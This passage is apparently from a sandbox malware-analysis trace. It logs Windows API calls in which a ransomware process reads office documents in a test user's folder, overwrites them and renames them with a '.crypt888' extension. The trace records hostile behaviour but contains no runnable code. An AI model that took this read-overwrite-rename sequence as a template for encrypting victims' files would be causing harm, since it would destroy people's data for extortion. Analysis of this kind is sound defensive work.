lpBuffer=0x2799d94*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2799d94*, lpNumberOfBytesWritten=0x39ed48*=0x4de0, lpOverlapped=0x0) returned 1 [0081.364] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx", lpFilePart=0x0) returned 0x3e [0081.364] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx.crypt888", lpFilePart=0x0) returned 0x47 [0081.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.364] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nslv7msvomcguj0pb.docx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0675f0, ftCreationTime.dwHighDateTime=0x1d422b1, ftLastAccessTime.dwLowDateTime=0x92b014d0, ftLastAccessTime.dwHighDateTime=0x1d44df0, ftLastWriteTime.dwLowDateTime=0xc1b18d60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x4de0)) returned 1 [0081.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.364] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nslv7msvomcguj0pb.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nslv7msvomcguj0pb.docx.crypt888")) returned 1 [0081.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt", lpFilePart=0x0) returned 0x34 [0081.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7jnwu6x.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.371] GetFileType (hFile=0x174) returned 0x1 [0081.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.371] GetFileType (hFile=0x174) returned 0x1 [0081.371] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x38fc [0081.372] ReadFile (in: hFile=0x174, lpBuffer=0x279ef7c, nNumberOfBytesToRead=0x38fc, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x279ef7c*, lpNumberOfBytesRead=0x39ed58*=0x38fc, lpOverlapped=0x0) returned 1 [0081.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt", lpFilePart=0x0) returned 0x34 [0081.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7jnwu6x.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.396] GetFileType (hFile=0x174) returned 0x1 [0081.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.396] GetFileType (hFile=0x174) returned 0x1 [0081.396] WriteFile (in: hFile=0x174, lpBuffer=0x27fda40*, nNumberOfBytesToWrite=0x3900, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27fda40*, lpNumberOfBytesWritten=0x39ed48*=0x3900, lpOverlapped=0x0) returned 1 [0081.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt", lpFilePart=0x0) returned 0x34 [0081.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt.crypt888", lpFilePart=0x0) returned 0x3d [0081.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7jnwu6x.ppt"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c8a2860, ftCreationTime.dwHighDateTime=0x1d460c9, ftLastAccessTime.dwLowDateTime=0x3386ec60, ftLastAccessTime.dwHighDateTime=0x1d465ea, ftLastWriteTime.dwLowDateTime=0xc1b65020, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x3900)) returned 1 [0081.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.398] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7jnwu6x.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p7jnWu6x.ppt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7jnwu6x.ppt.crypt888")) returned 1 [0081.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx", lpFilePart=0x0) returned 0x38 [0081.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pc9lll1pk9s.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.416] GetFileType (hFile=0x174) returned 0x1 [0081.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.416] GetFileType (hFile=0x174) returned 0x1 [0081.416] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x13328 [0081.416] ReadFile (in: hFile=0x174, lpBuffer=0x28016f4, nNumberOfBytesToRead=0x13328, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28016f4*, lpNumberOfBytesRead=0x39ed58*=0x13328, lpOverlapped=0x0) returned 1 [0081.479] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx", lpFilePart=0x0) returned 0x38 [0081.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pc9lll1pk9s.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.481] GetFileType (hFile=0x174) returned 0x1 [0081.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.481] GetFileType (hFile=0x174) returned 0x1 [0081.481] WriteFile (in: hFile=0x174, lpBuffer=0x2887e5c*, nNumberOfBytesToWrite=0x13330, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2887e5c*, lpNumberOfBytesWritten=0x39ed48*=0x13330, lpOverlapped=0x0) returned 1 [0081.483] CloseHandle (hObject=0x174) returned 1 [0081.486] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx", lpFilePart=0x0) returned 0x38 [0081.486] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx.crypt888", lpFilePart=0x0) returned 0x41 [0081.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pc9lll1pk9s.pptx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be3f6e0, ftCreationTime.dwHighDateTime=0x1d44aa2, ftLastAccessTime.dwLowDateTime=0x7b643690, ftLastAccessTime.dwHighDateTime=0x1d3eedb, ftLastWriteTime.dwLowDateTime=0xc1c49860, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x13330)) returned 1 [0081.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.486] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pc9lll1pk9s.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pc9Lll1pK9s.pptx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pc9lll1pk9s.pptx.crypt888")) returned 1 [0081.487] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx", lpFilePart=0x0) returned 0x31 [0081.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pueb.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.487] GetFileType (hFile=0x174) returned 0x1 [0081.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.487] GetFileType (hFile=0x174) returned 0x1 [0081.487] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x83f4 [0081.487] ReadFile (in: hFile=0x174, lpBuffer=0x289b548, nNumberOfBytesToRead=0x83f4, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x289b548*, lpNumberOfBytesRead=0x39ed58*=0x83f4, lpOverlapped=0x0) returned 1 [0081.488] CloseHandle (hObject=0x174) returned 1 [0081.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx", lpFilePart=0x0) returned 0x31 [0081.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pueb.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.507] GetFileType (hFile=0x174) returned 0x1 [0081.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.507] GetFileType (hFile=0x174) returned 0x1 [0081.507] WriteFile (in: hFile=0x174, lpBuffer=0x291170c*, nNumberOfBytesToWrite=0x8400, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x291170c*, lpNumberOfBytesWritten=0x39ed48*=0x8400, lpOverlapped=0x0) returned 1 [0081.508] CloseHandle (hObject=0x174) returned 1 [0081.535] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx", lpFilePart=0x0) returned 0x31 [0081.535] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx.crypt888", lpFilePart=0x0) returned 0x3a [0081.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.535] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pueb.pptx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb26f090, ftCreationTime.dwHighDateTime=0x1d4010a, ftLastAccessTime.dwLowDateTime=0x7bef13c0, ftLastAccessTime.dwHighDateTime=0x1d44546, ftLastWriteTime.dwLowDateTime=0xc1cbbc80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x8400)) returned 1 [0081.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.536] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pueb.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pueb.pptx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pueb.pptx.crypt888")) returned 1 [0081.537] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx", lpFilePart=0x0) returned 0x3b [0081.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si8b3afbw-hky_.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.537] GetFileType (hFile=0x174) returned 0x1 [0081.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.537] GetFileType (hFile=0x174) returned 0x1 [0081.537] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xbd3d [0081.537] ReadFile (in: hFile=0x174, lpBuffer=0x2919ea8, nNumberOfBytesToRead=0xbd3d, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2919ea8*, lpNumberOfBytesRead=0x39ed58*=0xbd3d, lpOverlapped=0x0) returned 1 [0081.538] CloseHandle (hObject=0x174) returned 1 [0081.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx", lpFilePart=0x0) returned 0x3b [0081.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si8b3afbw-hky_.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.561] GetFileType (hFile=0x174) returned 0x1 [0081.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.561] GetFileType (hFile=0x174) returned 0x1 [0081.561] WriteFile (in: hFile=0x174, lpBuffer=0x298a444*, nNumberOfBytesToWrite=0xbd40, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x298a444*, lpNumberOfBytesWritten=0x39ed48*=0xbd40, lpOverlapped=0x0) returned 1 [0081.563] CloseHandle (hObject=0x174) returned 1 [0081.567] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx", lpFilePart=0x0) returned 0x3b [0081.567] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx.crypt888", lpFilePart=0x0) returned 0x44 [0081.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.567] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si8b3afbw-hky_.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f5b0b0, ftCreationTime.dwHighDateTime=0x1d427a0, ftLastAccessTime.dwLowDateTime=0x3cabfce0, ftLastAccessTime.dwHighDateTime=0x1d44051, ftLastWriteTime.dwLowDateTime=0xc1d07f40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xbd40)) returned 1 [0081.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si8b3afbw-hky_.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\si8b3AFbW-Hky_.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si8b3afbw-hky_.xlsx.crypt888")) returned 1 [0081.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx", lpFilePart=0x0) returned 0x30 [0081.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlq.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.568] GetFileType (hFile=0x174) returned 0x1 [0081.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.568] GetFileType (hFile=0x174) returned 0x1 [0081.568] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x9d67 [0081.568] ReadFile (in: hFile=0x174, lpBuffer=0x299655c, nNumberOfBytesToRead=0x9d67, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x299655c*, lpNumberOfBytesRead=0x39ed58*=0x9d67, lpOverlapped=0x0) returned 1 [0081.569] CloseHandle (hObject=0x174) returned 1 [0081.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx", lpFilePart=0x0) returned 0x30 [0081.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlq.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.593] GetFileType (hFile=0x174) returned 0x1 [0081.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.593] GetFileType (hFile=0x174) returned 0x1 [0081.593] WriteFile (in: hFile=0x174, lpBuffer=0x2a14654*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2a14654*, lpNumberOfBytesWritten=0x39ed48*=0x9d70, lpOverlapped=0x0) returned 1 [0081.594] CloseHandle (hObject=0x174) returned 1 [0081.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx", lpFilePart=0x0) returned 0x30 [0081.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx.crypt888", lpFilePart=0x0) returned 0x39 [0081.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlq.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b16de0, ftCreationTime.dwHighDateTime=0x1d42b27, ftLastAccessTime.dwLowDateTime=0x6666b420, ftLastAccessTime.dwHighDateTime=0x1d45ce5, ftLastWriteTime.dwLowDateTime=0xc1d54200, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x9d70)) returned 1 [0081.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.595] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlq.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tLq.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlq.xlsx.crypt888")) returned 1 [0081.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx", lpFilePart=0x0) returned 0x41 [0081.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w2z36gfiuxkfwnruia_z.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.596] GetFileType (hFile=0x174) returned 0x1 [0081.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.596] GetFileType (hFile=0x174) returned 0x1 [0081.596] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x1188a [0081.597] ReadFile (in: hFile=0x174, lpBuffer=0x2a1e788, nNumberOfBytesToRead=0x1188a, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2a1e788*, lpNumberOfBytesRead=0x39ed58*=0x1188a, lpOverlapped=0x0) returned 1 [0081.598] CloseHandle (hObject=0x174) returned 1 [0081.628] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: 